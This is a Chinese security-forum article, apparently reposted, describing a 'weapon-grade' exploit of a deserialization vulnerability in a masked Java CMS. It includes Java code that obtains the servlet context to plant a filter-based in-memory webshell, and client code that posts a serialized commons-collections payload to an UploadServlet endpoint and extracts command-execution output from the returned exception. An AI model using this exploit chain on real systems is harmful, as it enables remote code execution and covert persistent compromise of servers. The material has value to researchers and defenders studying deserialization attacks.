问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某C 1day 反序列化漏洞的武器级利用
某C 1day 反序列化漏洞的武器级利用
虽然打厚码,但是好兄弟们依旧知道我在说什么。这个java cms的反序列化点极多,而且报文中没有多少特征。至于这个是不是你们说的0day/1day,我就不清楚了,好兄弟们自行分辨。 首先从任意文件上传说起 任意文件上传分析代码在`servlet.FileReceiveServlet`。在这里我们可以看到,从请求中读取流,然后转换为map类型并读取上传文件的路径。然后再读取待上传的文件。 ![图片](https://shs3.b.qianxin.com/butian_public/f3d206c66f1cce2b6bb1ff51994e56d34.jpg) 而网上很多poc,大多都是基于此漏洞,利用反序列化上传一个文件到服务器。 这也就是去年的那个任意文件上传的反序列化漏洞。但是,但是,这个漏洞本质是一个反序列化漏洞。而且某C的classpath中,也存在apache commonscollections库,我们可以利用这个库,直接执行命令或者内存马。岂不是比任意文件上传舒服多了。 ### 内存马 老样子,在反序列化中想执行任意代码,一般都依靠xalan这个库。这次也不例外。 植入内存马,关键在于我们怎样找到context,只有找到context,我们才可以添加filter。好在某c中,我们只需要通过下面的代码既可以获取当前context,不需要从tomcat中获取context ```php O bject obj = 改动Locator.getInstance().lookup("ServletContext"); Field contextField = obj.getClass().getDeclaredField("context"); contextField.setAccessible(true); obj = contextField.get(obj); Field contextField1 = obj.getClass().getDeclaredField("context"); contextField1.setAccessible(true); addFitlertoTomcat(contextField1.get(obj)); ``` 剩下的就是常规操作,可以看我之前的内存马模型,基本不需要很大的改动即可完美适配。 ![图片](https://shs3.b.qianxin.com/butian_public/f9f7849081d3dcc8fdc3a4551ca97727e.jpg) ### 回显 我们只需要找到这样一个servlet,即存在反序列化的readO bject,又将错误信息写入到response中 不难看出 uploadServlet 就很满足这个需求。 ```php out = new O bjectOutputStream(output); in = new O bjectInputStream(request.getInputStream()); String dsName = (String)in.readO bject(); } } catch (Exception var14) { var14.printStackTrace(); if (out == null) { throw new ServletException(var14); } out.writeO bject(var14); ``` 如果出错的话,将错误信息通过序列化写入到response中。好处在于,我们不需要麻烦的去找tomcat的response对象。 所以,我们将反序列化的payload,发送给uploadServlet即可。然后我们只需要读取响应,即可拿到服务器命令执行的回显结果。客户端代码可以这样写 ```php byte[] r = HttpClient.post("http://192.168.12.133/servlet/UploadServlet", baos.toByteArray()); O bjectInputStream O bjectInputStream = new O bjectInputStream(new ByteArrayInputStream(r)); Exception e = (Exception) O bjectInputStream.readO bject(); O bject obj = e.getCause(); Field targetF = obj.getClass().getDeclaredField("target"); targetF.setAccessible(true); obj = targetF.get(obj); Field msgF = obj.getClass().getSuperclass().getDeclaredField("detailMessage"); msgF.setAccessible(true); String msg = msgF.get(obj).toString(); System.out.println(msg); ``` **文章转载于”宽字节安全”公众号,已取得转载授权。**
发表于 2021-05-28 09:55:34
阅读 ( 5626 )
分类:
渗透测试
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
50 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!